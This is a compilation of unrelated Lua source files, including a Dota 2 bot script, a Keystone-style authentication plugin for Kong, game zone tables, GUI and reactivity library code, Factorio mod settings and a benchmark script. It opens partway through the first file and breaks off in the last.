Consider[4]=function()
local abilityNumber=4
local ability=AbilitiesReal[abilityNumber];
if not ability:IsFullyCastable() then
return BOT_ACTION_DESIRE_NONE, 0;
end
local CastRange = ability:GetCastRange();
local Damage = ability:GetSpecialValueInt( "damage" );
local Radius = ability:GetSpecialValueInt( "light_strike_array_aoe" );
local HeroHealth=10000
local CreepHealth=10000
local allys = npcBot:GetNearbyHeroes( 1200, false, BOT_MODE_NONE );
local enemys = npcBot:GetNearbyHeroes(CastRange+300,true,BOT_MODE_NONE)
local WeakestEnemy,HeroHealth=logic.GetWeakestUnit(enemys)
if(npcBot:GetActiveMode() ~= BOT_MODE_RETREAT )
then
if (WeakestEnemy~=nil)
then
if ( CanCast[abilityNumber]( WeakestEnemy ))
then
if(HeroHealth<=WeakestEnemy:GetActualIncomingDamage(Damage,DAMAGE_TYPE_MAGICAL) or HeroHealth<=WeakestEnemy:GetActualIncomingDamage(GetComboDamage(),DAMAGE_TYPE_MAGICAL))
then
return BOT_ACTION_DESIRE_HIGH,WeakestEnemy;
end
end
end
end
local npcTarget = npcBot:GetTarget();
if ( npcTarget ~= nil and CanCast[abilityNumber]( npcTarget ) )
then
if ( npcTarget:GetActualIncomingDamage( Damage, DAMAGE_TYPE_MAGICAL ) > npcTarget:GetHealth() and GetUnitToUnitDistance( npcTarget, npcBot ) < ( CastRange + 200 ) )
then
return BOT_ACTION_DESIRE_HIGH, npcTarget;
end
end
local tableNearbyAttackingAlliedHeroes = npcBot:GetNearbyHeroes( 1000, false, BOT_MODE_ATTACK );
if ( #tableNearbyAttackingAlliedHeroes >= 2 )
then
local npcMostDangerousEnemy = nil;
local nMostDangerousDamage = 0;
local tableNearbyEnemyHeroes = npcBot:GetNearbyHeroes( CastRange, true, BOT_MODE_NONE );
for _,npcEnemy in pairs( tableNearbyEnemyHeroes )
do
if ( CanCast[abilityNumber]( npcEnemy ) )
then
local Damage = npcEnemy:GetEstimatedDamageToTarget( false, npcBot, 3.0, DAMAGE_TYPE_ALL );
if ( Damage > nMostDangerousDamage )
then
nMostDangerousDamage = Damage;
npcMostDangerousEnemy = npcEnemy;
end
end
end
if ( npcMostDangerousEnemy ~= nil )
then
return BOT_ACTION_DESIRE_HIGH, npcMostDangerousEnemy;
end
end
return BOT_ACTION_DESIRE_NONE, 0;
end
function AbilityUsageThink()
if ( npcBot:IsUsingAbility() or npcBot:IsChanneling() or npcBot:IsSilenced() )
then
return
end
ComboMana=GetComboMana()
AttackRange=npcBot:GetAttackRange()
ManaPercentage=npcBot:GetMana()/npcBot:GetMaxMana()
HealthPercentage=npcBot:GetHealth()/npcBot:GetMaxHealth()
cast=ability_item_usage_generic.ConsiderAbility(AbilitiesReal,Consider)
if(debugmode==true)
then
ability_item_usage_generic.PrintDebugInfo(AbilitiesReal,cast)
end
ability_item_usage_generic.UseAbility(AbilitiesReal,cast)
end
function CourierUsageThink()
ability_item_usage_generic.CourierUsageThink()
end |
local responses = require "kong.tools.responses"
local utils = require "kong.tools.utils"
local sha512 = require("kong.plugins.keystone.sha512")
local bcrypt = require( "bcrypt" )
local kutils = require ("kong.plugins.keystone.utils")
local roles = require ("kong.plugins.keystone.views.roles")
local assignment = roles.assignment
local services_and_endpoints = require("kong.plugins.keystone.views.services_and_endpoints")
local service = services_and_endpoints.services
local endpoint = services_and_endpoints.endpoints
local redis = require ("kong.plugins.keystone.redis")
local cjson = require "cjson"
local policies = require ("kong.plugins.keystone.policies")
local _M = {}
local namespace_id
local function check_user(user, dao_factory)
local loc_user, domain
local password = user.password
if not password then
responses.send_HTTP_BAD_REQUEST("Specify password in user object")
end
if not (user.id or user.name and (user.domain.name or user.domain.id)) then
responses.send_HTTP_BAD_REQUEST("User info is required")
else
if user.id then
local err
user, err = dao_factory.user:find({id = user.id})
kutils.assert_dao_error(err, "user find")
local temp, err = dao_factory.local_user:find_all({user_id = user.id})
kutils.assert_dao_error(err, "local_user find_all")
if not next(temp) then
responses.send_HTTP_BAD_REQUEST("Requested user is not local")
end
loc_user = temp[1]
else
if not user.domain.id then
local temp, err = dao_factory.project:find_all({is_domain = true, name = user.domain.name})
kutils.assert_dao_error(err, "project find_all")
if not next(temp) then
responses.send_HTTP_BAD_REQUEST("Requested domain is not found, check domain name = "..user.domain.name)
end
domain = temp[1]
user.domain.id = domain.id
end
local temp, err = dao_factory.local_user:find_all ({name = user.name, domain_id = user.domain.id})
-- local temp, err = dao_factory.local_user:find_all ({name = user.name})
kutils.assert_dao_error(err, "local_user find_all")
if not next(temp) then
responses.send_HTTP_BAD_REQUEST("Requested user is not found, check user name = "..user.name .. " with domain id = " .. user.domain.id)
end
loc_user = temp[1]
user, err = dao_factory.user:find({id = loc_user.user_id})
kutils.assert_dao_error(err, "user find")
end
end
if not domain then
local err
domain, err = dao_factory.project:find({id = user.domain_id})
kutils.assert_dao_error(err, "project:find")
end
local resp = {
domain = {
id = domain.id,
name = domain.name
},
id = user.id,
name = loc_user.name,
password_expires_at = cjson.null
}
return resp, loc_user.id, password, user.default_project_id
end
local function check_password(upasswd, loc_user_id, dao_factory)
local passwd, err = dao_factory.password:find_all ({local_user_id = loc_user_id})
kutils.assert_dao_error(err, "password:find_all")
passwd = passwd[1]
if not bcrypt.verify(upasswd, passwd.password) then
-- if not sha512.verify(upasswd, passwd.password) then
responses.send_HTTP_BAD_REQUEST("Incorrect password")
end
return kutils.time_to_string(passwd.expires_at)
end
local function check_scope(scope, dao_factory)
local project, domain_name
if scope.project and scope.domain then
responses.send_HTTP_BAD_REQUEST("Specify either domain or project")
end
if scope.project then
if scope.project.id then
local temp, err = dao_factory.project:find({id = scope.project.id})
kutils.assert_dao_error(err, "project:find")
if not temp then
responses.send_HTTP_BAD_REQUEST("No requsted project for scope found")
end
project = temp
local temp, err = dao_factory.project:find({id = project.domain_id})
kutils.assert_dao_error(err, "project:find")
domain_name = temp.name
elseif scope.project.name and scope.project.domain and (scope.project.domain.id or scope.project.domain.name) then
if not scope.project.domain.id then
local temp, err = dao_factory.project:find_all ({name = scope.project.domain.name, is_domain = true})
kutils.assert_dao_error(err, "project:find_all")
if not next(temp) then
responses.send_HTTP_BAD_REQUEST("No domain whith specified name = "..scope.project.domain.name)
end
scope.project.domain.id = temp[1].id
else
local temp, err = dao_factory.project:find ({id = scope.project.domain.id})
kutils.assert_dao_error(err, "project:find")
scope.project.domain.name = temp.name
end
domain_name = scope.project.domain.name
local temp, err = dao_factory.project:find_all({name = scope.project.name, domain_id = scope.project.domain.id, is_domain = false})
-- local temp, err = dao_factory.project:find_all({name = scope.project.name})
kutils.assert_dao_error(err, "project:find_all")
if not next(temp) then
responses.send_HTTP_BAD_REQUEST("No requested project found for scope, domain id is: " .. scope.project.domain.id .. " and project name is " .. scope.project.name)
end
project = temp[1]
else
responses.send_HTTP_BAD_REQUEST("Project needs to be identified unique")
end
elseif scope.domain then
if scope.domain.id then
local temp, err = dao_factory.project:find({id = scope.domain.id})
kutils.assert_dao_error(err, "project:find")
project = temp
elseif scope.domain.name then
local temp, err = dao_factory.project:find_all({name = scope.domain.name, is_domain = true})
kutils.assert_dao_error(err, "project:find_all")
if not next(temp) then
responses.send_HTTP_BAD_REQUEST("No domain found with requested name")
end
project = temp[1]
else
responses.send_HTTP_BAD_REQUEST("Domain needs to be identified unique")
end
if project.domain_id then
local temp, err = dao_factory.project:find({id = project.domain_id})
kutils.assert_dao_error(err, "project:find")
domain_name = temp.name
end
else
responses.send_HTTP_BAD_REQUEST("No domain or project requested for scope")
end
return project, domain_name
end
local function get_catalog(self,dao_factory, opts)
local temp = service.list(self,dao_factory, true)
local catalog = temp.services
for i = 1, #catalog do
catalog[i].description = nil
catalog[i].links = nil
catalog[i].enabled = nil
self.params.service_id = catalog[i].id
local temp = endpoint.list(self, dao_factory, true)
catalog[i].endpoints = temp.endpoints
for j = 1, #catalog[i].endpoints do
catalog[i].endpoints[j].enabled = nil
catalog[i].endpoints[j].service_id = nil
catalog[i].endpoints[j].links = nil
catalog[i].endpoints[j].url = catalog[i].endpoints[j].url:gsub('%$%(project_id%)s', opts.project_id)
end
end
return catalog
end
local function check_token_user(token, dao_factory)
if not token.user_id then
responses.send_HTTP_BAD_REQUEST("Error: user id is required")
end
local user, err = dao_factory.user:find({id = token.user_id})
kutils.assert_dao_error(err, "user:find")
local domain, err = dao_factory.project:find({id = user.domain_id})
kutils.assert_dao_error(err, "project:find")
local loc_user, err = dao_factory.local_user:find_all({user_id = user.id})
kutils.assert_dao_error(err, "local_user:find_all")
if loc_user[1] then
user.name = loc_user[1].name
local password, err = dao_factory.password:find_all({local_user_id = loc_user[1].id})
kutils.assert_dao_error(err, "password:find_all")
user.password_expires_at = kutils.time_to_string(password[1].expires_at)
else
local nonloc_user, err = dao_factory.nonlocal_user:find_all({user_id = user.id})
kutils.assert_dao_error(err, "nonlocal user find all")
user.name = nonloc_user[1] and nonloc_user[1].name or nil
end
local resp = {
domain = {
id = domain.id,
name = domain.name
},
id = user.id,
name = user.name,
password_expires_at = user. password_expires_at
}
return resp, user.default_project_id
end
local function auth_password_unscoped(self, dao_factory, user, loc_user_id)
local Tokens = kutils.provider()
local token = Tokens.generate(dao_factory, user)
local resp = {
token = {
methods = {"password"},
expires_at = kutils.time_to_string(token.expires),
extras = token.extra,
user = user,
audit_ids = {utils.uuid()}, -- TODO
issued_at = kutils.time_to_string(os.time())
}
}
responses.send_HTTP_CREATED(resp, {["X-Subject-Token"] = token.id})
end
local function auth_password_scoped(self, dao_factory, user, loc_user_id, upasswd)
local scope = self.params.auth.scope
local project, domain_name = check_scope(scope, dao_factory)
self.params.user_id = user.id
self.params.project_id = scope.project and project.id or nil
self.params.domain_id = not scope.project and project.id or nil
local roles = assignment.list(self, dao_factory, scope.project and "UserProject" or "UserDomain").roles
if not roles[1] then
responses.send_HTTP_UNAUTHORIZED("User has no assignments for project/domain") -- code 401
end
local Tokens = kutils.provider()
local token = Tokens.generate(dao_factory, user, true, project.id, not scope.project)
local resp = {
token = {
methods = {"password"},
roles = roles,
expires_at = kutils.time_to_string(token.expires),
project = {
domain = {
id = project.domain_id or cjson.null,
name = domain_name or cjson.null
},
id = project.id,
name = project.name
},
is_domain = scope.domain and true or false,
extras = token.extra,
user = user,
audit_ids = {utils.uuid()}, -- TODO
issued_at = kutils.time_to_string(token.issued_at)
}
}
if not (self.params.nocatalog) then
local catalog = get_catalog(self, dao_factory, {project_id = project.id})
resp.token.catalog = catalog or {}
end
responses.send_HTTP_CREATED(resp, {["X-Subject-Token"] = token.id})
end
function _M.auth_password(self, dao_factory)
local user = self.params.auth.identity.password and self.params.auth.identity.password.user
if not user then
return responses.send_HTTP_BAD_REQUEST({message = "Authentication information is required"})
end
local user, loc_user_id, upasswd, default_project_id = check_user(user, dao_factory)
if not self.params.auth.scope and default_project_id then
self.params.auth.scope = {
project = {
id = default_project_id
}
}
end
user.password_expires_at = check_password(upasswd, loc_user_id, dao_factory)
if not self.params.auth.scope or self.params.auth.scope == "unscoped" then
auth_password_unscoped(self, dao_factory, user, loc_user_id)
else
auth_password_scoped(self, dao_factory, user, loc_user_id)
end
end
local function auth_token_unscoped(self, dao_factory, user)
local Tokens = kutils.provider()
local token = Tokens.generate(dao_factory, user)
local resp = {
token = {
methods = {"token"},
expires_at = kutils.time_to_string(token.expires),
extras = token.extra,
user = user,
audit_ids = {utils.uuid()}, -- TODO
issued_at = kutils.time_to_string(os.time())
}
}
responses.send_HTTP_CREATED(resp, {["X-Subject-Token"] = token.id})
end
local function auth_token_scoped(self, dao_factory, user)
local scope = self.params.auth.scope
local project, domain_name = check_scope(scope, dao_factory)
self.params.user_id = user.id
self.params.project_id = scope.project and project.id or nil
self.params.domain_id = not scope.project and project.id or nil
local temp = assignment.list(self, dao_factory, scope.project and "UserProject" or "UserDomain")
if not next(temp.roles) then
return responses.send_HTTP_UNAUTHORIZED("User has no assignments for project/domain") -- code 401
end
local roles = temp.roles
local Tokens = kutils.provider()
local token = Tokens.generate(dao_factory, user, true, project.id, not scope.project)
local resp = {
token = {
methods = {"token"},
roles = roles,
expires_at = kutils.time_to_string(token.expires),
project = {
domain = project.domain_id and {
id = project.domain_id,
name = domain_name
},
id = project.id,
name = project.name
},
is_domain = scope.domain and true or false,
extras = token.extra,
user = user,
audit_ids = {utils.uuid()}, -- TODO
issued_at = kutils.time_to_string(token.issued_at)
}
}
if not (self.params.nocatalog) then
local catalog = get_catalog(self, dao_factory, {project_id = project.id})
resp.token.catalog = catalog or {}
end
responses.send_HTTP_CREATED(resp, {["X-Subject-Token"] = token.id})
end
function _M.auth_token (self, dao_factory)
local user, default_project_id = check_token_user(self.params.auth.identity.token, dao_factory)
if not self.params.auth.scope and default_project_id then
self.params.auth.scope = {
project = {
id = default_project_id
}
}
end
if not self.params.auth.scope or self.params.auth.scope == "unscoped" then
auth_token_unscoped(self, dao_factory, user)
else
auth_token_scoped(self, dao_factory, user)
end
end
function _M.get_token_info(self, dao_factory)
local auth_token = self.req.headers["X-Auth-Token"]
local subj_token = self.req.headers["X-Subject-Token"]
local token = {
id = auth_token
}
local Tokens = kutils.provider()
token = Tokens.check(token, dao_factory)
token = {
id = subj_token
}
local Tokens = kutils.provider()
token = Tokens.check(token, dao_factory, self.params.allow_expired, true)
local user = check_token_user(token, dao_factory)
local cache = Tokens.get_info(token.id, dao_factory)
local project, is_domain
if cache.scope_id then
local temp, err = dao_factory.project:find({id = cache.scope_id})
kutils.assert_dao_error(err, "project:find")
is_domain = temp.is_domain
project = {
id = temp.id,
name = temp.name,
domain = (temp.domain_id) and {
id = temp.domain_id
},
links = {
self = self:build_url((is_domain and '/v3/domains/' or '/v3/projects/')..temp.id)
}
}
if temp.domain_id then
local temp, err = dao_factory.project:find({id = temp.domain_id})
kutils.assert_dao_error(err, "project:find")
project.domain.name = temp.name
end
end
local resp = {
token = {
methods = {"token"},
roles = cache.roles,
expires_at = kutils.time_to_string(cache.expires),
project = project,
domain = is_domain and project or nil,
is_domain = is_domain,
extras = token.extra,
user = user,
audit_ids = {utils.uuid()}, -- TODO
issued_at = kutils.time_to_string(cache.issued_at)
}
}
if not (self.params.nocatalog) then
local catalog = get_catalog(self, dao_factory, {project_id = project.id})
resp.token.catalog = catalog or {}
end
responses.send_HTTP_OK(resp, {["X-Subject-Token"] = token.id})
end
function _M.check_token(self, dao_factory)
local auth_token = self.req.headers["X-Auth-Token"]
local subj_token = self.req.headers["X-Subject-Token"]
local token = {
id = auth_token
}
local Tokens = kutils.provider()
local token = Tokens.check(token, dao_factory)
if auth_token ~= subj_token then
token = {
id = subj_token
}
local token = Tokens.check(token, dao_factory, self.params.allow_expired, true)
end
-- TODO Identity API?
responses.send_HTTP_OK()
end
function _M.revoke_token(self, dao_factory)
-- TODO revocation event?
local subj_token = self.req.headers["X-Subject-Token"]
if not subj_token then
return responses.send_HTTP_BAD_REQUEST({message = "Specify header X-Subject-Token for token id"})
end
local Tokens = kutils.provider()
Tokens.validate(dao_factory, subj_token, false)
responses.send_HTTP_NO_CONTENT()
end
local function get_service_catalog(self, dao_factory)
local auth_token = self.req.headers["X-Auth-Token"]
local token = {
id = auth_token
}
local Tokens = kutils.provider()
local token = Tokens.check(token, dao_factory)
local resp = {
catalog = {},
links = {
next = cjson.null,
previous = cjson.null,
self = self:build_url(self.req.parsed_url.path)
}
}
local catalog = get_catalog(self, dao_factory, {project_id = token.id})
resp.catalog = catalog
responses.send_HTTP_OK(resp)
end
local function get_scopes(self, dao_factory, domain_scoped)
local auth_token = self.req.headers["X-Auth-Token"]
local token = {
id = auth_token
}
local Tokens = kutils.provider()
token = Tokens.check(token, dao_factory)
local user = check_token_user(token, dao_factory)
local resp = {
links = {
next = cjson.null,
previous = cjson.null,
self = self:build_url(self.req.parsed_url.path)
}
}
local projects = {}
local temp, err = dao_factory.assignment:find_all({type = domain_scoped and "UserDomain" or "UserProject", actor_id = user.id, inherited = false})
kutils.assert_dao_error(err, "assignment:find_all")
for _,v in ipairs(temp) do
if not kutils.has_id(projects, v.target_id) then
projects[#projects + 1] = {
id = v.target_id
}
end
end
local groups, err = dao_factory.user_group_membership:find_all({user_id = user.id})
kutils.assert_dao_error(err, "user_group_membership:find_all")
for _,v1 in ipairs(groups) do
local temp, err = dao_factory.assignment:find_all({type = domain_scoped and "GroupDomain" or "GroupProject", actor_id = v1.temp_id, inherited = false})
kutils.assert_dao_error(err, "assignment:find_all")
for _,v2 in ipairs(temp) do
if not kutils.has_id(projects, v2.target_id) then
projects[#projects + 1] = {
id = v2.target_id
}
end
end
end
local prjs = {}
for _, v in pairs(projects) do
local project, err = dao_factory.project:find({id = v.id})
kutils.assert_dao_error(err, "project find")
if project and project.enabled then
prjs[#prjs] = {
id = project.id,
links = {
self = self:build_url('/v3/projects/'..project.id)
},
enabled = project.enabled,
domain_id = project.domain_id or cjson.null,
name = project.name
}
end
end
if domain_scoped then
resp.domains = prjs
else
resp.projects = prjs
end
responses.send_HTTP_OK(resp)
end
function _M.revoke_token(self, dao_factory)
-- TODO revocation event?
local subj_token = self.req.headers["X-Subject-Token"]
if not subj_token then
return responses.send_HTTP_BAD_REQUEST({message = "Specify header X-Subject-Token for token id"})
end
local Tokens = kutils.provider()
Tokens.validate(dao_factory, subj_token, false)
responses.send_HTTP_NO_CONTENT()
end
local routes = {
["/v3/auth/catalog"] = {
GET = function(self, dao_factory)
namespace_id = policies.check(self.req.headers['X-Auth-Token'], "identity:get_auth_catalog", dao_factory, self.params)
get_service_catalog(self, dao_factory)
end
},
["/v3/auth/projects"] = {
GET = function(self, dao_factory)
policies.check(self.req.headers['X-Auth-Token'], "identity:get_auth_projects", dao_factory, self.params)
get_scopes(self, dao_factory, false)
end
},
["/v3/auth/domains"] = {
GET = function(self, dao_factory)
policies.check(self.req.headers['X-Auth-Token'], "identity:get_auth_domains", dao_factory, self.params)
get_scopes(self, dao_factory, true)
end
}
}
return {
routes = routes,
get_scopes = get_scopes,
auth = _M,
check_token = check_token_user
}
|
local lapis = require "lapis"
local app = lapis.Application()
app.__base = app
app.include = function(self, a)
self.__class.include(self, a, nil, self)
end
app:before_filter(require "apps.web.internal.config_site")
app:before_filter(require "apps.web.internal.check_auth")
app:before_filter(require "apps.web.internal.check_ban")
app:include("apps.web.admin")
app:include("apps.web.pages")
app:include("apps.web.boards")
return app
|
print("This entity was removed from scene") |
-----------------------------------
-- Area: Grauberg_[S]
-----------------------------------
require("scripts/globals/zone")
-----------------------------------
zones = zones or {}
zones[tpz.zone.GRAUBERG_S] =
{
text =
{
ITEM_CANNOT_BE_OBTAINED = 6382, -- You cannot obtain the <item>. Come back after sorting your inventory.
ITEM_OBTAINED = 6388, -- Obtained: <item>.
GIL_OBTAINED = 6389, -- Obtained <number> gil.
KEYITEM_OBTAINED = 6391, -- Obtained key item: <keyitem>.
NOTHING_OUT_OF_ORDINARY = 6402, -- There is nothing out of the ordinary here.
FISHING_MESSAGE_OFFSET = 7049, -- You can't fish here.
HARVESTING_IS_POSSIBLE_HERE = 7687, -- Harvesting is possible here if you have <item>.
COMMON_SENSE_SURVIVAL = 9292, -- It appears that you have arrived at a new survival guide provided by the Servicemen's Mutual Aid Network. Common sense dictates that you should now be able to teleport here from similar tomes throughout the world.
},
mob =
{
KOTAN_KOR_KAMUY_PH =
{
[17141958] = 17141962,
[17141959] = 17141962,
[17141960] = 17141962,
[17141963] = 17141962,
[17141964] = 17141962,
[17141965] = 17141962,
[17141966] = 17141962,
[17141967] = 17141962,
},
SCITALIS_PH =
{
[17141977] = 17141979,
[17141978] = 17141979,
[17141981] = 17141979,
},
MIGRATORY_HIPPOGRYPH = 17142108,
},
npc =
{
HARVESTING =
{
17142545,
17142546,
17142547,
17142548,
17142549,
17142550,
},
INDESCRIPT_MARKINGS = 17142586,
},
}
return zones[tpz.zone.GRAUBERG_S]
|
require( "iuplua" )
require( "iupluacontrols" )
mat = iup.matrix {numcol=5, numlin=3,numcol_visible=5, numlin_visible=3, widthdef=34}
mat.resizematrix = "YES"
mat:setcell(0,0,"Inflation")
mat:setcell(1,0,"Medicine")
mat:setcell(2,0,"Food")
mat:setcell(3,0,"Energy")
mat:setcell(0,1,"January 2000")
mat:setcell(0,2,"February 2000")
mat:setcell(1,1,"5.6")
mat:setcell(2,1,"2.2")
mat:setcell(3,1,"7.2")
mat:setcell(1,2,"4.6")
mat:setcell(2,2,"1.3")
mat:setcell(3,2,"1.4")
-- to show drop feedback
function mat:dropcheck_cb(lin, col)
if (lin==3 and col==1) then
return iup.DEFAULT
end
return iup.IGNORE
end
function mat:drop_cb(drop, lin, col)
if (lin==3 and col==1) then
drop[1] = "A - Test of Very Big String for Dropdown!"
drop[2] = "B"
drop[3] = "C"
drop[4] = "XXX"
drop[5] = "5"
drop[6] = "6"
drop[7] = "7"
drop[8] = nil
return iup.DEFAULT
end
return iup.IGNORE
end
function mat:dropselect_cb(lin, col,drop, t, i, v)
print("lin="..lin..",col="..col..",i="..i..",state="..v..",value="..t)
end
dlg = iup.dialog{iup.vbox{mat; margin="10x10"}}
dlg:showxy(iup.CENTER, iup.CENTER)
if (iup.MainLoopLevel()==0) then
iup.MainLoop()
end
|
local NUMERIC_MATCHER_STRING = "%-?%d*%.?%d?%d?%d?%d?%d?%d?"
local NUMERIC_POSITIVE_MATCHER_STRING = "%d*%.?%d?%d?%d?%d?%d?%d?"
local NUMERIC_INTEGER_MATCHER_STRING = "%-?%d*"
local NUMERIC_INTEGER_POSITIVE_MATCHER_STRING = "%d*"
local InputMatcher = {}
function InputMatcher.getNumericMatcher(integerOnly, min, max, default)
return
function(text, hard)
local matcherString =
integerOnly and (min and min >= 0 and NUMERIC_INTEGER_POSITIVE_MATCHER_STRING or NUMERIC_INTEGER_MATCHER_STRING) or
(min and min >= 0 and NUMERIC_POSITIVE_MATCHER_STRING or NUMERIC_MATCHER_STRING)
text = utf8.match(text, matcherString)
text = text or ""
if not hard then return text end
local number = tonumber(text)
if not number then return default or "" end
number = math.clamp(number, min, max)
return tostring(number)
end
end
function guiGetInputNumericMatcher(integerOnly, min, max, default)
if not scheck("?b,?n[3]") then return false end
return InputMatcher.getNumericMatcher(integerOnly, min, max, default)
end |
local TrackOpTypes = require("reactivity.operations.TrackOpTypes")
local TriggerOpTypes = require("reactivity.operations.TriggerOpTypes")
local ErrorCodes = require("reactivity.ErrorCodes")
local Effect = require("reactivity.effect")
local track, trigger, ITERATE_KEY, stop, effect =
Effect.track,
Effect.trigger,
Effect.ITERATE_KEY,
Effect.stop,
Effect.effect
local config = require("reactivity.config")
local __DEV__ = config.__DEV__
local getmetatable, type, ipairs, pairs, tinsert = getmetatable, type, ipairs, pairs, table.insert
local scheduler = require("reactivity.scheduler")
local queueJob, queuePostFlushCb = scheduler.queueJob, scheduler.queuePostFlushCb
local reactiveUtils = require("reactivity.reactiveUtils")
local isCallable, isObject, hasChanged, extend, warn, callWithErrorHandling, callWithAsyncErrorHandling, NOOP =
reactiveUtils.isCallable,
reactiveUtils.isObject,
reactiveUtils.hasChanged,
reactiveUtils.extend,
reactiveUtils.warn,
reactiveUtils.callWithErrorHandling,
reactiveUtils.callWithAsyncErrorHandling,
reactiveUtils.NOOP
local reactive = require("reactivity.reactive")
local ref = require("reactivity.ref")(reactive)
local isReactive = reactive.isReactive
local isRef = ref.isRef
-- initial value for watchers to trigger on nil initial values
local INITIAL_WATCHER_VALUE = {}
local invoke = function(fn)
fn()
end
local function traverse(value, seen)
if seen == nil then
seen = {}
end
if not isObject(value) or seen[value] then
return value
end
seen[value] = true
for key in pairs(value) do
traverse(value[key], seen)
end
return value
end
local function doWatch(source, cb, options)
local immediate, deep, flush, onTrack, onTrigger
if options then
immediate, deep, flush, onTrack, onTrigger =
options.immediate,
options.deep,
options.flush,
options.onTrack,
options.onTrigger
end
if __DEV__ and not cb then
if immediate ~= nil then
warn(
[[`watch() "immediate" option is only respected when using the ` +
`watch(source, callback, options?) signature.`]]
)
end
if deep ~= nil then
warn(
[[`watch() "deep" option is only respected when using the ` +
`watch(source, callback, options?) signature.`]]
)
end
end
local warnInvalidSource = function(s)
warn(
[[`Invalid watch source: `,
s,
`A watch source can only be a getter/effect function, a ref, ` +
`a reactive object, or an array of these types.`]]
)
end
local cleanup = NOOP
local instance = currentInstance
local onInvalidate
local runner
local getter = nil
local multiSource = type(source) == 'table' and getmetatable(source) == nil
if multiSource then
getter = function()
local result = {}
for _, s in ipairs(source) do
if isRef(s) then
tinsert(result, s.value)
elseif isReactive(s) then
tinsert(result, traverse(s))
elseif isCallable(s) then
tinsert(result, callWithErrorHandling(s, instance, ErrorCodes.WATCH_GETTER))
else
if __DEV__ then
warnInvalidSource(s)
end
end
end
return result
end
elseif isCallable(source) then
if cb then
-- getter with cb
getter = function()
return callWithErrorHandling(source, instance, ErrorCodes.WATCH_GETTER)
end
else
-- no cb -> simple effect
getter = function()
if instance and instance.isUnmounted then
return
end
if cleanup then
cleanup()
end
return callWithErrorHandling(source, instance, ErrorCodes.WATCH_CALLBACK, onInvalidate)
end
end
elseif isRef(source) then
getter = function()
return source.value
end
elseif isReactive(source) then
getter = function()
return source
end
deep = true
else
getter = NOOP
if __DEV__ then
warnInvalidSource(source)
end
end
if cb and deep then
local baseGetter = getter
getter = function()
return traverse(baseGetter())
end
end
onInvalidate = function(fn)
runner.options.onStop = function()
callWithErrorHandling(fn, instance, ErrorCodes.WATCH_CLEANUP)
end
cleanup = runner.options.onStop
end
-- in SSR there is no need to setup an actual effect, and it should be noop
-- unless it's eager
-- if __NODE_JS__ and isInSSRComponentSetup then
-- if not cb then
-- getter()
-- elseif immediate then
-- callWithAsyncErrorHandling(cb, instance, ErrorCodes.WATCH_CALLBACK, {getter(), nil, onInvalidate})
-- end
-- return NOOP
-- end
local oldValue = (multiSource and {} or INITIAL_WATCHER_VALUE)
local applyCb =
(cb and
function()
if instance and instance.isUnmounted then
return
end
local newValue = runner()
if deep or hasChanged(newValue, oldValue) then
-- cleanup before running cb again
if cleanup then
cleanup()
end
callWithAsyncErrorHandling(
cb,
instance,
ErrorCodes.WATCH_CALLBACK,
newValue,
-- pass nil as the old value when it's changed for the first time
(oldValue ~= INITIAL_WATCHER_VALUE and oldValue or nil),
onInvalidate
)
oldValue = newValue
end
end or
nil)
local scheduler = nil
if flush == "sync" then
scheduler = invoke
-- elseif flush == "pre" then
-- scheduler = function(job)
-- if not instance or instance.isMounted then
-- queueJob(job)
-- else
-- -- with 'pre' option, the first call must happen before
-- -- the component is mounted so it is called synchronously.
-- job()
-- end
-- end
else
scheduler = function(job)
queuePostFlushCb(job, instance and instance.suspense)
end
end
runner =
effect(
getter,
{
lazy = true,
-- so it runs before component update effects in pre flush mode
computed = true,
onTrack = onTrack,
onTrigger = onTrigger,
scheduler = (applyCb and function()
scheduler(applyCb)
end or scheduler)
}
)
-- recordInstanceBoundEffect(runner)
-- initial run
if applyCb then
if immediate then
applyCb()
else
oldValue = runner()
end
else
runner()
end
return function()
stop(runner)
if instance then
remove(instance.effects, runner)
end
end
end
local function watchEffect(effect, options)
return doWatch(effect, nil, options)
end
-- overload #1: array of multiple sources + cb
-- Readonly constraint helps the callback to correctly infer value types based
-- on position in the source array. Otherwise the values will get a union type
-- of all possible value types.
-- overload #2: single source + cb
-- overload #3: watching reactive object w/ cb
-- implementation
local function watch(source, cb, options)
if __DEV__ and not isCallable(cb) then
warn(
[[`\`watch(fn, options?)\` signature has been moved to a separate API. ` +
`Use \`watchEffect(fn, options?)\` instead. \`watch\` now only ` +
`supports \`watch(source, cb, options?) signature.`]]
)
end
return doWatch(source, cb, options)
end
-- this.$watch
local function instanceWatch(this, source, cb, options)
local publicThis = self.proxy
local getter = type(source) == "string" and function()
return publicThis[source]
end or source:bind(publicThis)
local stop = watch(getter, cb:bind(publicThis), options)
onBeforeUnmount(stop, self)
return stop
end
return {
watch = watch,
watchEffect = watchEffect,
instanceWatch = instanceWatch
}
|
data:extend({
{
type = "int-setting",
name = "startup-tech-boost",
setting_type = "startup",
default_value = 30000,
min_value = 0
}
})
data:extend({
{
type = "bool-setting",
name = "reward-neutral-kills",
setting_type = "startup",
default_value = false
}
})
data:extend({
{
type = "double-setting",
name = "cost-per-damage",
setting_type = "startup",
minimum_value = 0.01,
default_value = 1,
maximum_value = 100
}
})
data:extend({
{
type = "string-setting",
name = "science-overflow-mode",
setting_type = "startup",
allowed_values = {"void", "keep", "decay"},
default_value = "void"
}
})
data:extend({
{
type = "double-setting",
name = "science-decay-per-tick",
setting_type = "startup",
minimum_value = 0.01,
default_value = 0.05,
maximum_value = 0.99
}
})
data:extend({
{
type = "bool-setting",
name = "print-science-values",
setting_type = "runtime-global",
default_value = false
}
})
|
-- benchmark.lua
-- benchmark lua interpreter
--
-- vim: ft=lua sw=4 ts=4
-- load packages from local path
package.path = package.path .. "?;?.lua"
-- helper function to measure time
function timeit(fn)
local tic = os.clock()
print(fn(), "\n")
local toc = os.clock()
print("Elapsed time ", toc-tic, "sec.\n")
end
-- benchmark fibonacci-series
-- --------------------------
require("fib")
print("Calculate fib(35):\n")
timeit(function() return fib(35); end)
print("Calculate fib_tr(35):\n")
timeit(function() return fib_tr(35); end)
print("Calculate fib_tr(1000):\n")
timeit(function() return fib_tr(1000); end)
print("-----------------------------------")
-- benchmark perfect numbers
-- -------------------------
require("perfect_numbers")
print("Calculate perfect numbers until 10000:\n")
timeit(function() return perfect_numbers(10000); end)
print("-----------------------------------")
-- benchmark mandelbrot set
-- ------------------------
require("mandelbrot")
print("Calculate mandelbrot set for 1920x1200 pixel:\n")
timeit(function() return mandelbrot(1920, 1200, -0.5, 0.0, 4.0/1920); end)
print("-----------------------------------")
|
local HttpService = game:GetService("HttpService")
local HttpError = {}
HttpError.__index = HttpError
HttpError.__tostring = function(he)
